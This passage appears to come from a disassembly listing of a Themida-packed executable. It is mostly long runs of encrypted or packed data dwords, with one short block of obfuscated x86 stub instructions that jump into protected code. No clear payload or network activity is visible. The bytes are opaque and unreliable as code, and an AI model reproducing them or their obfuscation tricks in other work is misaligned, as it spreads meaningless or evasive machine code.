61B085Ah, 0F979A6E9h, 9A268FFh dd 9CE9061Bh, 68FFF979h, 61B0A1Eh, 0F97992E9h, 0AD968FFh dd 88E9061Bh, 68FFF979h, 61B0B7Ah, 0F9797EE9h, 0C1168FFh dd 74E9061Bh, 68FFF979h, 61B0CBEh, 0F9796AE9h, 0DF768FFh dd 60E9061Bh, 68FFF979h, 61B0EF2h, 0F97956E9h, 102D68FFh dd 4CE9061Bh, 68FFF979h, 61B10F8h, 0F97942E9h, 124568FFh dd 38E9061Bh, 68FFF979h, 61B138Dh, 0F9792EE9h, 155F68FFh dd 24E9061Bh, 68FFF979h, 61B1684h, 0F9791AE9h, 0FBC418FFh dd 0B607CCA9h, 704B8764h, 2594411Eh, 0DCE1F6D3h, 4967518Ah dd 0DD2F8Eh, 0B996E8D1h, 714EA01Fh, 0F8045665h, 0ED846A70h dd 9D98580Ch, 0F7C41236h, 73983E4Bh, 0F1E8876Dh, 0DB739B51h dd 8F3FAD89h, 93797F47h, 0A751F1E8h, 19B10ECAh, 4BDEE4EAh dd 3757E53Ah, 12CD3160h, 0E3D0DADh, 70B6628Ah, 5806BB8Eh dd 0F5FBC399h, 5806BC0Fh, 7ACCFB23h, 19A2C3D8h, 0E5BCF8D9h dd 4F27FF4Ah, 0D036654Dh, 38h, 0F9A513E7h, 0CBF4E4B1h dd 0CD90969Ch, 9B57E502h, 5D632B73h, 58060377h, 0CA34638Bh dd 995FEBC2h, 4EA03Eh, 8AB8DD1h, 94B65806h, 0D088DDF6h dd 0ED76F8D9h, 8D000000h, 34894A17h, 20DCFA05h, 64584D8Fh dd 0B864FCE9h, 0E5912CABh, 47C810DDh, 0F2DF5B41h, 0AF476F51h dd 717CAB03h, 9DAA5665h, 0FEF6C339h, 0B5BAA0A6h, 0A6CE51F2h dd 83291D4Fh, 1D6A3EBh, 677D8DBCh, 51F2B38Bh, 87D9E2F4h dd 0E38F2CAAh, 7DC569D7h, 689728B0h, 0CD215C62h, 0F2CF57E5h dd 7C911DE1h, 72323270h, 14F042DAh, 567D4AA6h, 0DD63BB67h dd 5806D8F7h, 34BE30Bh, 0FBAFD1FDh, 5808DF5Dh, 0A4E2B988h dd 638B0F3Eh, 34894E1Bh, 0EBD205E2h, 94735F0Dh, 76846E38h dd 1203h, 4566973h, 0BF11AC27h, 79CBF0E2h, 2E80399Ch, 0E5378651h dd 33A40CACh, 765B388Ah, 0C414F143h, 0ACCA9FBh, 0CB535FB1h dd 0CEDDFC5h, 91F8F358h, 0A6F8C512h, 0E9D001CEh, 9427AFBAh dd 987E844Ch, 0AC51F1E7h, 0E7E8CED4h, 0D4FC51F1h, 44FD0D3Ch dd 0B1F9A513h, 9E65DDDAh, 6796730Ah, 55985B61h, 1CE457E5h dd 6553016h, 0ED1C4458h, 0A58B9169h, 0B9580654h, 5D434991h dd 71580655h, 0BF05B149h, 580654DDh, 0F84C6E8h, 0F8D98456h dd 0C5A8h, 0C412BF00h, 0E85B4147h, 476F51F1h, 0E1F603AFh dd 740CAF27h, 0ECA682C8h, 471451F1h, 0F3FE2D90h, 0AE86D8E3h dd 4D360FE6h, 7F9421EFh, 0F25313F9h, 0D0FF2751h, 0FEAA11C5h dd 94DC84F2h, 0E5D8FFCCh, 6C3772B6h, 0BDE557E5h, 922BA875h dd 822E8D45h, 0FEBFB2Ah, 0AFB5FDA1h, 5DFB4094h, 0C592DA02h dd 0C564EC12h, 8935884Fh, 6602DA31h, 0F1BE069Eh, 0D72FDBE2h dd 1CBB98A8h, 75B3C3A1h, 442E3894h, 10EE36h, 6B548800h dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h, 0B9F7C1FAh dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h, 0EEF4DAE0h dd 0D08580Ch, 48C512A6h, 0F1E85C42h, 0B0487051h, 6655815Eh dd 0C4125B14h, 76434BF7h, 25305F5Ch, 0C094BB1h, 0BB0BF1F7h dd 0F71F51F2h, 9C8F9A0h, 90421F71h, 8928A86Ch, 0CA624846h dd 0F6C5111Eh, 842F86A4h, 0F39F1AB7h, 0F4626C9Bh, 0E8803B97h dd 3910D8A0h, 0CC2EC0B3h, 0E8CE54C7h, 0FC51F20Dh, 1661A5D4h dd 6257E528h, 327F3E95h, 64E817A4h, 64479B3Ch, 0ECAF8F7Ah dd 848AD27Eh, 55837B4Dh, 9D1EB481h, 16C2EA6Eh, 0ACF49C0Ah dd 7DC5F8DFh, 0A47B9177h, 4E7DA555h, 0FD754248h, 1F475B98h dd 0EFCC0AD7h, 0C4F9DAA7h, 2EA88595h, 0E1D1AF8Dh, 3A243AF5h dd 100A2Ch, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh dd 4C58AA11h, 0EFD8BEC4h, 0F1EC580Ch, 47C4128Ah, 0B763587Ah dd 0E7F3D95Fh, 0DF0751F1h, 0CB774492h, 0C693DB73h, 157FAE0Bh dd 0ABF39B09h, 0E51566A5h, 6CD9A57h, 4398A2F8h, 28C05360h dd 71F5247Ch, 0AD1BF749h, 44B3B901h, 5A5DF964h, 5E408632h dd 695E1A45h, 0D5900B47h, 29F2C594h, 2Bh, 0F9A51340h, 5440ABB1h dd 264E57E5h, 0F8C711DEh, 0D601CEA6h, 0B4E33BE7h, 6348C70h dd 0FAC11558h, 0B20DCBA8h, 0F5DF806h, 134F0000h, 0E9B1F9A5h dd 5804B51Ch, 898DD100h, 0D957EAEBh, 0CAA169B1h, 8E7DEDh dd 341AA0C3h, 48580D8Ah, 0E6D21B61h, 1BB3551Fh, 9B50ACEh dd 0B47C82B1h, 618180DDh, 0E8172C89h, 70C2F9DDh, 0CC784393h dd 66AE52C0h, 51803F99h, 0B5DC454Bh, 0FFE65E06h, 0EFFC6CE5h dd 2C78CFC2h, 5566C5E9h, 0DDA22BAh, 0C8A0F2C9h, 0B0DFDAFBh dd 0DE8A31A5h, 74BC64D2h, 0F8DEE4ACh, 7B5E2891h, 9D3EBCBFh dd 375F25B5h, 0A265C408h, 0CD9641Bh, 40C4F3CCh, 5C503A18h dd 0CFB93275h, 0EC2C1h, 9728B400h, 526B6845h, 0CAF2300h dd 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h, 55328435h dd 0DEA3C83h, 94A0F2C9h, 0F120060Ch, 3934580Ch, 0E7F7D9D2h dd 0B48151F1h, 646E9D1Eh, 0FC024AF6h, 57EAEA9Bh, 68357DA5h dd 3D054D6Eh, 0CF556670h, 580CEBE9h, 96A6D5FDh, 0F29E1DB9h dd 80C878E6h, 4EAF0B8h, 18580CECh, 3E7DC1F0h, 0F45E0019h dd 0E5A6EECCh, 8D773890h, 0E467Fh, 13AC3000h, 0CEEFE4C1h dd 88339F7Ch, 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h dd 0D1AE00B9h, 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Ch dd 0F7C4124Eh, 73983E4Bh, 0F1E8876Dh, 14BE9B51h, 0C1C70FA7h dd 51F1E8DBh, 832FC7EFh, 0A03B576Bh, 0FEEDECC5h, 86639h dd 71643100h, 0E1DCFB48h, 0C7AEDD35h, 0B1F9A513h, 0EAEC2DABh dd 0F1396157h, 7D54B224h, 7552A43Ch, 45125A61h, 73802C93h dd 56AE5A65h, 1D258FBEh, 0EB694F55h, 557D580Ch, 0EB00E226h dd 1886580Ch, 0DB1A2068h, 915E0018h, 0F8CDB3B9h, 0B9E15E20h dd 0F4521762h, 0BC547A54h, 9041C0DEh, 79877138h, 0D8Bh dd 7CCEF1EBh, 3789349Fh, 0F143785Ah, 0A6F8C114h, 5DAF0EC9h dd 0BB1C9424h, 0FED3B002h, 4C8C69BBh, 92442173h, 43CBD729h dd 0CF2573Dh, 9706B58h, 4BF7C412h, 0DB23983Eh, 0E8270D13h dd 133B51F1h, 646D7AE4h, 3A9CA955h, 0FF63D581h, 0F2065E43h dd 0EE2A3B50h, 0A8D4FEEDh, 0EB000007h, 0F1E7F7D9h, 21B48151h dd 0F15F6998h, 41FF054Dh, 0F557EAECh, 1EB885CDh, 9C734B9Dh dd 9CEBCE0Ah, 20D3C0Ch, 0D29FE7D4h, 0B30BB704h, 0A00E1A84h dd 63A2A8F0h, 195E00F9h, 59513F1h, 0C6B03890h, 0CEAB8h dd 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h, 506D6A47h dd 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h dd 0F2F8DEE4h, 110C580Ch, 0F7C412AAh, 0CCF1E2AFh, 0F8C31320h dd 2C121860h, 4051F1E8h, 727FE918h, 93AB5764h, 9DC8C37Fh dd 61FEEDEDh, 70Bh, 70498C59h, 563D6CC4h, 0B1F9A513h, 0EAEBE8ABh dd 468EB657h, 0C5E5D79h, 6814A72Fh, 0CEC4022h, 0F858C658h dd 0CEC0CF2h, 60F82058h, 19D31218h, 61895E00h, 90E52F83h dd 32402A38h, 0C53h, 0B406B923h, 6FC1FCD7h, 297B4092h dd 0DE30894Ch, 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h dd 5A7C59ABh, 7B030F61h, 0CF38F75h, 41A8A358h, 4BF7C412h dd 5F5C7643h, 0AB12530h, 1032465Eh, 0EDEDEA7Bh dd 68114FEh, 0D92B0000h, 51F1E7F2h, 0B009AF86h, 57D8DFD8h dd 4BB01E28h, 2E86328Dh, 0B9864E96h, 2F73A219h, 57EB048Fh dd 0E1C7CD95h, 0F5580D03h, 0F21A9ECDh, 0C2F9DDAAh, 78439370h dd 0AE52C0CCh, 50316066h, 7D455E00h, 21309177h, 371D235Eh dd 4B5E2131h, 57805D23h, 1B9FCE66h, 0AEA715F3h, 0DCC63890h dd 0BA6CEh, 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h dd 9429AE8Bh, 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h dd 0B0BC0EADh, 0F43C2228h, 5550580Ch, 0F7C412EEh, 64983E4Bh dd 2FB2DBD1h, 0DFC5CBC6h, 0F351F208h, 0EF9B33CBh, 0C379197Dh dd 8960A813h, 0FBB1EC50h, 0E6F6254Ah, 0ED57BDA8h, 12B41FEh dd 17580000h, 8834894Ah, 0E0F60130h, 0B4222FDBh, 0E0F2BF07h dd 4A4984DBh, 299C899Ah, 0A00EEAFAh, 0FA2A8F0h, 7D57E5A5h dd 0D4A1A955h, 488CBB04h, 58068466h, 0FE334F71h, 0D8907927h dd 93C20722h, 0D9083E27h, 46C0F8h, 17D70000h, 4957B840h dd 295855F8h, 0C50DB11Fh, 1A4E26FDh, 201780A3h, 0EDEAADF1h dd 693657E5h, 9C204F6Eh, 0A082C874h, 255806EDh, 53600CB3h dd 0E6EC3984h, 32D429D5h, 0A8CA9110h, 0EB74F1EAh, 848AF8D8h dd 0A1000000h, 4BF7C412h, 7824993Eh, 0A4506B6Bh, 2A7C3F97h dd 0F1342814h, 9625B151h, 0A6FA6844h, 0F213BAA0h, 0E2F1CE51h dd 3FD72FDBh, 0C0595FA7h, 2A57E6E9h, 0EAEDBA02h, 0DCA981D3h dd 8B96C5F6h, 3393714Ch, 4E3EA916h, 0A6D5664h, 0D3090000h dd 16BD9AECh, 5A7855A7h, 0A3320F61h, 0F0E7C416h, 76427BCDh dd 0CE209D3Ah, 87D9E0F1h, 3F912EAAh, 0F5477462h, 755B61E9h dd 89580CF5h, 0C512278Eh, 0DC9A6F8h, 12A35CAEh, 434BF7C4h dd 0CCA15D76h, 0A3851DF9h, 4954831Bh, 0FEDC2E8Dh, 493h dd 0FB401755h, 0EFFD8C11h, 36A4AEDDh, 5D3C428Ah, 5357E679h dd 360CE32Bh, 1E39D7DBh, 0D81E88B7h, 5806B4F6h, 775E2B01h dd 0E73E9642h, 0C4016B20h, 63B5E49Bh, 0A9B9AC27h, 0D8A5F8D9h dd 2C92C1FAh, 1ECh, 0E7E0D943h, 168451F1h, 0EFDC22B5h dd 2101D099h, 55D09A1h, 905D256Dh, 70C87445h, 0AC57FD41h dd 0EEB57EBh, 175FF7C4h, 3B64784Fh, 0A7A7197Dh, 6873595Fh dd 5F87580Dh, 0AB12530h, 2FDEF5C2h, 0D684329h, 972F5758h dd 5B7B5868h, 3AA8B460h, 19484E96h, 0AF5E00B4h, 4A27A987h dd 846E3890h, 97276h, 0E7D80400h, 0A21BB895h, 5C5F7350h dd 11A82D0Ah, 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h dd 5D3A8C33h, 0E4F04279h, 0F670565Ch, 8984580Ch, 42C41222h dd 0E7932B90h, 13BFFCDAh, 0E71D3DA1h, 3C7ACCEFh, 0FEEDF229h dd 13BD5h, 0C412EC00h, 13D8AFF7h, 0D897D468h, 717EE817h dd 28045665h, 0ED8757BAh, 0FCF1645Eh, 64451C64h, 0F74FD0Ah dd 11171D4Ch, 57E61B7Eh, 0DE9405ECh, 0B47BEC6Dh, 482A701Ch dd 5358078Eh, 0EB7A1131h, 13F8D847h, 33h, 0D140172Ah, 2048B2EFh dd 319FA9D8h, 27BF00D8h, 316D9DFh, 0BCE457E5h, 2E8CA10h dd 0D1F35806h, 0D64B1AB1h, 4613F8D9h, 2B832F8Ch, 0AF96FCh dd 12AD0000h, 269342C4h, 0B17E468Eh, 96EE9A21h, 0F1E82A10h dd 0E7163E51h, 5667707Dh, 82399DAAh, 1368633Ah, 196F9F39h dd 637380EAh, 612E0658h, 469E4A71h, 64D7D317h, 0B88551F1h dd 6772A11Ah, 22FA4C6Fh, 456E545Ah, 0D8FB51F2h, 1BE139E5h dd 4CBAC4F3h, 0BD565CA4h, 2757E71Ah, 22EFB7FFh, 35B07B4h dd 0AF0EC9D4h, 6657805Dh, 0A8E55288h, 5F6D573Eh, 837h dd 0D0229D3Fh, 8BDDE0F3h, 459724AEh, 0FA4C6D68h, 0B103BA1Dh dd 67704078h, 0AA270456h, 0F8E0BD0Fh, 3E9875C7h, 971F2B7Dh dd 0CF7AB91h, 5DC4BF58h, 0A6F8C512h, 5CAE0DC9h, 0F7C412A3h dd 23983E4Bh, 0F6C30EDBh, 64D9B7C7h, 30000002h, 0B1F9A513h dd 0EAEBABABh, 83CBF357h, 0EBCFB5BBh, 0BBE3580Ch, 0FADC228Ch dd 5580CEBh, 392CA7E3h, 0C5F8D2EEh, 201h, 0D4E5F0BDh, 0BAA1D028h dd 0F1E7E0D9h, 6A168451h, 0EC141C22h, 345C57EAh, 4B71FECh dd 0BA01D5B2h, 0AD2F060Eh, 0F56B3477h, 174697FCh, 2DD795C0h dd 1AF9DFE5h, 0E50D580Dh, 923EACB6h, 1DB5824Ah, 6B9AF29Eh dd 66F827h, 88668E5Eh, 3890985Ch, 6C697761h, 0A000007h dd 0BE9BEDD2h, 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh dd 219C3B75h, 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h dd 580CF876h, 12288F8Ah, 3E4BF7C4h, 6A772398h, 843B9D67h dd 3CE880D8h, 6814A72Fh, 0F1F092F6h, 775A273Fh, 0E7A68C92h dd 92BA51F1h, 0C6ACB2FAh, 0DA51F1E7h, 113183B2h, 6EC0FBDBh dd 0EDF23530h, 13BC9FEh, 17E00000h, 534894Ah, 3420DCFAh dd 74700D84h, 1F2CD870h, 0EFBC04B7h, 0D52DD9E4h, 4CBA96A6h dd 0C3565CA4h, 3157E54Ch, 2C6D5359h, 59815806h, 400D15C1h dd 0B5F92891h, 58062BD3h, 59EBCDEh, 0F8D9A960h, 359Eh dd 0A513B500h, 7D299244h, 3F458D25h, 57E5037Ch, 6E76224Ah dd 0E9AC0897h, 9CB744DAh, 0FDBD14BEh, 0D01443A9h, 58062EEEh dd 20BBD7F9h, 0F8D9AB45h, 9FB9h, 0C412D000h, 0F4E2AFF7h dd 5EF6C312h, 0C12B5AB2h, 0EE9A23B4h, 225F0FE6h, 0A7640B86h dd 52696D78h, 7E3D99A6h, 250A162Ch, 3D351F2h, 1C8A66B8h dd 35552C74h, 0B6DBECB3h, 7E464C7Bh, 0EC9827B1h, 88216594h dd 0F257E7F3h, 0D6A9370Bh, 0DF77F8FBh, 0B00DCA97h, 6756815Eh dd 0A7FF6589h, 74826C3Eh, 61Fh, 0E83A8557h, 0A3F5C80Bh dd 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h, 923F1C6Eh dd 0E0F8D527h, 26B08DDFh, 0AF374395h, 0CF9C3A9h, 75DCD758h dd 0A6F8C512h, 0D8F90DC9h, 3EF749E1h, 0AFF7C412h, 0E7FBE1E7h dd 0E70F51F1h, 6F464EB8h, 0B7D2E613h, 0F90433F4h, 0AE8CDEDDh dd 3Bh, 0F7C41205h, 23983E4Bh, 4F6C6A77h, 7D4296A3h, 0B8DA7CD1h dd 0A36B8339h, 0F1E7B79Dh, 74A3CB51h, 0ACC6022h, 34E0D9FCh dd 1AF244DCh, 5181854Dh, 0CE66BE6Ah, 17939Fh, 12EA0000h dd 54BF7C4h, 51F1E822h, 36CE8CB0h, 0F1C91BA0h, 0DC0BB424h dd 0F7C412F5h, 2DD13F4Bh, 0EBDBDFE5h, 0DCA957EAh, 1296C5F6h dd 0DDAA2EAh, 0F149F5C4h, 9C1FB7C2h, 52696D4Ah, 842C9AA6h dd 0B027653Ch, 1E1EDDFAh, 1B72116Eh, 0D90813E8h, 0D664CDD3h dd 1FEC5E06h, 55D908B3h, 0B15D5E78h, 0F0C90C59h, 93431058h dd 1218E028h, 5E28D72Ch, 0D9E91840h, 2B31DAFCh, 5E28D745h dd 0CB805D2h, 6FC6EEB4h, 0BF9FDE46h, 1AD45BEh, 8FD787F5h dd 1B6A2A89h, 0F7C79E64h, 0C99A8EA5h, 7653D706h, 5CB4605Dh dd 61F9C40Fh, 754E7583h, 78867032h dword_5B9F68 dd 4D7h, 30823D9Fh, 0EB3D8053h, 0A5F7C40Eh, 5AAC0DC8h ; DATA XREF: Themida_:00554BD8o dd 11635A7Dh, 7D0E0D8h, 4A8764B6h, 98401D6Fh, 0DEF8D527h dd 0F77F8BDDh, 0CFB0BF1h, 0BD241F58h, 0A5F7C412h, 65AD0EC8h dd 0D17D3E98h, 0D3E04A79h, 0A870B803h, 0F1E7BCA2h, 79A8D051h dd 0BD859D0Fh, 0F1E7D1B7h, 8EBDE551h, 0F0E61E3Ch, 2A3B79CBh dd 0D4FEEDF2h, 4Bh, 0F9A513EBh, 0CDEEE4B1h, 949AC921h dd 0E554238Eh, 0F0E2AF57h, 98C71FCBh, 0D7A4EC14h, 566CBE01h dd 58063572h, 1AA53300h, 0DCE7166Eh, 250B11FAh, 39580635h dd 4F277911h, 349B8187h, 87AF5806h, 348B4D58h, 4257A88h dd 17D10000h, 1A8B4940h, 7EADDD0Dh, 0AC586373h, 0CED4379Fh dd 51F293E8h, 0EA3CD4FCh, 98734A12h, 8C5491Fh, 0CEF7DD63h dd 838951F2h, 51F2CE9Dh, 9BC389B1h, 4CF4626Ch, 206BFE04h dd 0B1D957E6h, 0A730FD05h, 0E3126A16h, 6FFBD9Fh, 27944258h dd 58656E7Bh, 0D00754ACh, 67CB41EDh, 0DDFFC62Bh, 0D63F26BDh dd 3CBFF8D8h, 0D6000000h, 32874A17h, 338BF903h, 3E437D5Ch dd 8D13E38Fh, 51F2E5A7h, 0B3FB93BBh, 0E600EAADh, 0F8DBB857h dd 3B812DC5h, 58070159h, 8B004264h, 0F8D8D8DAh, 9D20B784h dd 0C4086Eh, 121F0000h, 5B4147C4h, 6F51F1E8h, 0E7AB9197h dd 97BF51F1h, 0AEBB67FFh, 0DBE89429h, 714C0FBh, 849AECCFh dd 51F1ECA8h, 0A4F6C511h, 0E4D7FFCCh, 0A6B1E038h, 0D3DF8B30h dd 6B71B965h, 57E53DC8h, 19E62E56h, 0C0D0FFBEh, 82CA76E4h dd 0FAF4F97Ch, 0D9F8C55Dh, 52DB1E0h, 24E5F0BDh, 1CD4381Eh dd 8C244C5Eh, 4D8A575Dh, 7D5B2870h, 26031342h, 0D42E0CB1h dd 2538950Bh, 3052D3Bh, 6B710000h, 0AE250254h, 0F2E0BD0Fh dd 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h dd 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580CFCh, 0C5128FF6h dd 7F2B8E43h, 7F478F27h, 0F1E79379h, 507FA751h, 48736340h dd 0A5133DF6h, 7FC8E23Ah, 851DF087h, 1374373Dh, 0F3C057E5h dd 63F21BE5h, 904E1033h, 0C5F44CF8h, 276D1941h, 5805FD45h dd 776C2E50h, 0F8D9DCEEh, 8934A370h, 0ECF45Ah, 1FEC0000h dd 15905B8h, 4F17EBD2h, 0F1E86349h, 3D9A7751h, 0E47CD480h dd 0D02CAAB5h, 10C229EFh, 50A7FFABh, 6E35FA6Ch, 45CE03FDh dd 2AE46DEh, 2FDBE2F5h, 0F2070DE9h, 0A6607651h, 8CE4902Dh dd 11C5A2F4h, 84F2FEAAh, 0F5CC94DCh, 0BCBEC16h, 0DF3F9A2h dd 2151F229h, 0BE1461F9h, 0CAF951FDh, 0E579E386h, 2C8A7157h dd 0C1FCD71Bh, 15EF756Ah, 7C532B7Dh, 0B5D46413h, 997F85D6h dd 0AD580675h, 31A0ED85h, 5584DC88h, 0E931DD4Bh, 0FB49BFE3h dd 0DF274F5Dh, 0A6F8C512h, 0D1AF0EC9h, 3894B53Bh, 0E0DAE8D2h dd 96000001h, 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h dd 0CF085A63h, 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh dd 0E8EE7682h, 580CFE02h, 17B41B16h, 0E728E4Ah, 42EDDBA4h dd 0EF47F38Bh, 9B22B5C0h, 516A6C49h, 0C41246FFh, 983E4BF7h dd 31F9D123h, 0F1E8452Bh, 0DA315951h, 707778BAh, 0F601305Ch dd 0BC93DBE0h, 52EA0C09h, 52383EA8h, 6651F220h, 0D77A63Eh dd 9C369301h, 656B731Fh, 51F2207Fh, 3BD36B93h, 4002EDF3h dd 0C68E57E5h, 63FDAC0h, 0DD07EE58h, 7305348Ch, 5ADE0DA5h dd 8F318632h, 6E9D39F3h, 61A8268h, 0F9C40F58h, 6F555B33h dd 8358061Ah, 0D92BC35Bh, 97DF8FFDh, 0F9666E91h, 28D4FC5Dh dd 8B4BBB1Bh, 767C8430h, 5E1A4690h, 4CE47CA4h, 84C62AA0h dd 135B0371h, 0D93EA0Dh, 0FE507864h, 0BE06B521h, 740AF0F6h dd 0F61E642Eh, 88505DC7h, 94368B37h, 23983EF6h, 0D787F5D1h dd 0A916C28Fh, 7076A5FDh, 21947F6Ah, 1D658D6Ah, 35305646h dd 166E1AA1h, 0E2C942BFh, 9A3C49B3h, 0B850696Ch, 7515B70Ch dd 66AE52C0h, 0B504D19Eh, 0E0D9FC09h, 0EAD51948h, 0F870359Eh dd 34A27ED0h, 5E77448Ch, 9EBFA5ABh, 0ABD37056h, 0E00F6713h dd 0A17FD4DAh, 4971764Fh, 7546909Dh, 537E4B23h, 3362BA66h dd 610DAE28h, 20A08259h, 0DA318C4Bh, 0E1F2CA0Bh, 0D11544DCh dd 8E4A075Dh, 43EFCC06h, 711DA236h, 0B10ACC19h, 4C0EB005h dd 3753B76Dh, 90E2D9FDh, 509823B3h, 0C06C4F83h, 0E5CCB2B8h dd 0B8E0AEABh, 7A87F120h, 0C2A8AE5Bh, 4FAEABE5h, 348C3883h dd 2AE466Eh, 0B54F0BADh, 6B489A21h, 413A916Bh, 2B4395E7h dd 10D9E793h, 11000000h, 65567C49h, 0AB88F9DFh, 0B6E50DAEh dd 127DE4CFh, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 0D9685C24h dd 89000064h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esi mov esi, 75862EBEh shr esi, 1 add esi, 71F04C96h xor esi, 0AAA866F3h mov edx, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], edx pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_5509FF ; --------------------------------------------------------------------------- db 0DBh, 0E1h, 6Ah dd 1B1889B8h, 0FFC50306h, 0DE7352E0h, 95C42B02h, 0F226FC66h dd 6E0BA671h, 7F452E7Bh, 0DFF5F66Bh, 0D1421908h, 665DB95Dh dd 3ACC0802h, 1787D614h, 0EB1013h, 59F79E73h, 7116451Fh dd 0E2D23A2Bh, 0A1288F7Fh, 4871F763h, 0C7843A4Fh, 4DFE5917h dd 7EAA0E7Bh, 0A0379444h, 5CC6B329h, 5E87Ah, 882E0000h dd 8B5C2444h, 81F85ECBh, 5B1AC6h, 5E900h, 0DE210000h, 33AF8643h dd 8E8DBh, 0D1960000h, 11C11FA1h, 0FE9D567h, 0F6000000h dd 44BE2D0Dh, 2AFE02h, 0D262860Ch, 0FF5802ABh, 815F3334h dd 1F3BBBEFh, 0EF81F55Ah, 0BE943C9h, 0F781B2B2h, 2452A450h dd 665760B4h, 48FCE8Bh, 12B7B91Eh, 8B662346h, 0DFEB81C7h dd 8132619Dh, 7CFFC7C0h, 0DBC38110h, 0BA32619Dh, 355D384Eh dd 0A570FB81h, 850FFFFFh, 0FFFFFFB3h, 1B01BA66h, 0DE8h dd 2CAD3100h, 4D64CB70h, 238199BCh, 0BF0F8F86h, 0BE665BF3h dd 0C381DE5Dh, 5A0Ch, 5E6392BEh, 1656BA72h, 0C0800000h dd 0E93B8BCFh, 8, 5EE187D9h, 60F89E4Dh, 0CF09C781h, 0C781301Bh dd 7DCBFE4Ah, 0BC88166h, 0C5EF81D5h, 0E9449A12h, 0Ch, 70155674h dd 0D7BCE37Ah, 0FD99D02Dh, 0BF0F3B89h, 0C3EB81C0h, 0FC17ABCAh dd 0CABFC381h, 0EE917ABh, 0C3000000h, 3F4C4EA8h, 53C1D1B6h dd 771AC9B5h, 1EA810Eh, 0F000000h, 0E85h, 31B96600h, 1FE9CAh dd 0AD8F0000h, 0B03243EAh, 0FF83E94Fh, 0D263FFFFh, 53080C02h dd 72FA1032h, 0F2C6C4F8h, 7798089Bh, 3F8D8D7Ch, 0F061B1Bh dd 8D89C3BFh, 6143229h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 39C35242h, 2B7DFB62h, 0D20F0671h, 30D9B531h dd 85C70614h, 614064Dh, 5EA4h, 0E9EB8166h, 7185C711h, 61426h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0E3A6C351h, 0F81CCB48h, 2E91B5FFh dd 76B20614h, 236195FFh, 6AF80614h, 6995FF00h, 8B061411h dd 0D10BEBC0h, 2E05A293h, 0A109449Bh, 19E952E7h, 0C1000000h dd 6B227Fh, 5 dup(0) dd 48EE9h, 1CAE6800h, 0A4E9061Bh, 68FFF962h, 61B1D17h dd 0F9629AE9h, 1E4E68FFh, 90E9061Bh, 0A2FFF962h, 5633853Ah dd 11EE407Dh, 0CBA8FAC1h, 805DAF0Ah, 0DB146657h, 0B904D3DDh dd 72478A67h, 2A954320h, 0E0DBFBD8h, 0F4FA828Eh, 580D030Eh dd 0D4A12722h, 0B70FBB04h, 4F17A188h, 0F1E86349h, 204F7751h dd 8D46C215h, 83509830h, 85F1AA54h, 73D9F752h, 0A8D72FDBh dd 16A5313Eh, 0D67AE8C4h, 0A716C18Eh, 0A073595Fh, 5F8751F2h dd 65242A30h, 9957E5D5h, 84B30CCCh, 0C390D800h, 0A3FBA712h dd 0E2C40A74h, 0ED5806B4h, 0E5584017h, 0F028D029h, 1ED36FC1h dd 9F6A5056h, 567E5806h, 3AAABB27h, 0A354F8D9h, 6B000002h dd 0AD26BD1h, 0F1E81E04h, 0DB0A3251h, 73BB63D1h, 0C6F3DEABh dd 2085397h, 875457E5h, 0BD41704Bh, 35A0F495h, 0BDB52868h dd 0C8B7E04Fh, 0D783389Ah, 0A64E287Fh, 1B81966h, 1D65FD55h dd 5E51F017h, 0B25E865Bh, 408838A6h, 912CAB78h, 6D291E62h dd 335B6172h, 44B81EEBh, 0AA2BF540h, 8F20B80Fh, 0BE96E880h dd 29D5E4F1h, 3F97A2D1h, 0B3E49E7Ch, 2B15351Eh, 2AA1Dh dd 0A31CC000h, 5E5F7451h, 18A32F0Ch, 0CDECE9C6h, 84399E7Bh dd 0F1BFF932h, 0A885D7E6h, 613E9029h, 19F64877h, 0A0ACFEBDh dd 42C1218h, 4540580Dh, 0F9A513DEh, 261ABB1h, 52D57EAh dd 0D6E7F0BDh, 0DD30A784h, 0D02F1D7h, 45DD0558h, 0F37A26FDh dd 3A03BAD7h, 7A5BA10Bh, 0FD580DC9h, 8804E2D9h, 853EA42Dh dd 2418D9Bh, 0B3290000h, 0F6DDBA0Ch, 3A9875C7h, 83522F81h dd 0D007E436h, 56629BEDh, 0EE407D5Ah, 0A7F9C011h, 5FB10ECAh dd 15675482h, 957B8109h, 0A9580D04h, 0A51347AEh, 61ABB1F9h dd 2D57EA02h, 0E2F0BD05h, 0FA40AAD9h, 580D0318h, 4A410123h dd 0F8D2D31Bh, 16DE3h, 0C412FA00h, 983E4BF7h, 87F5D123h dd 0F6898FD7h, 6457E538h, 684A903Ch, 73580618h, 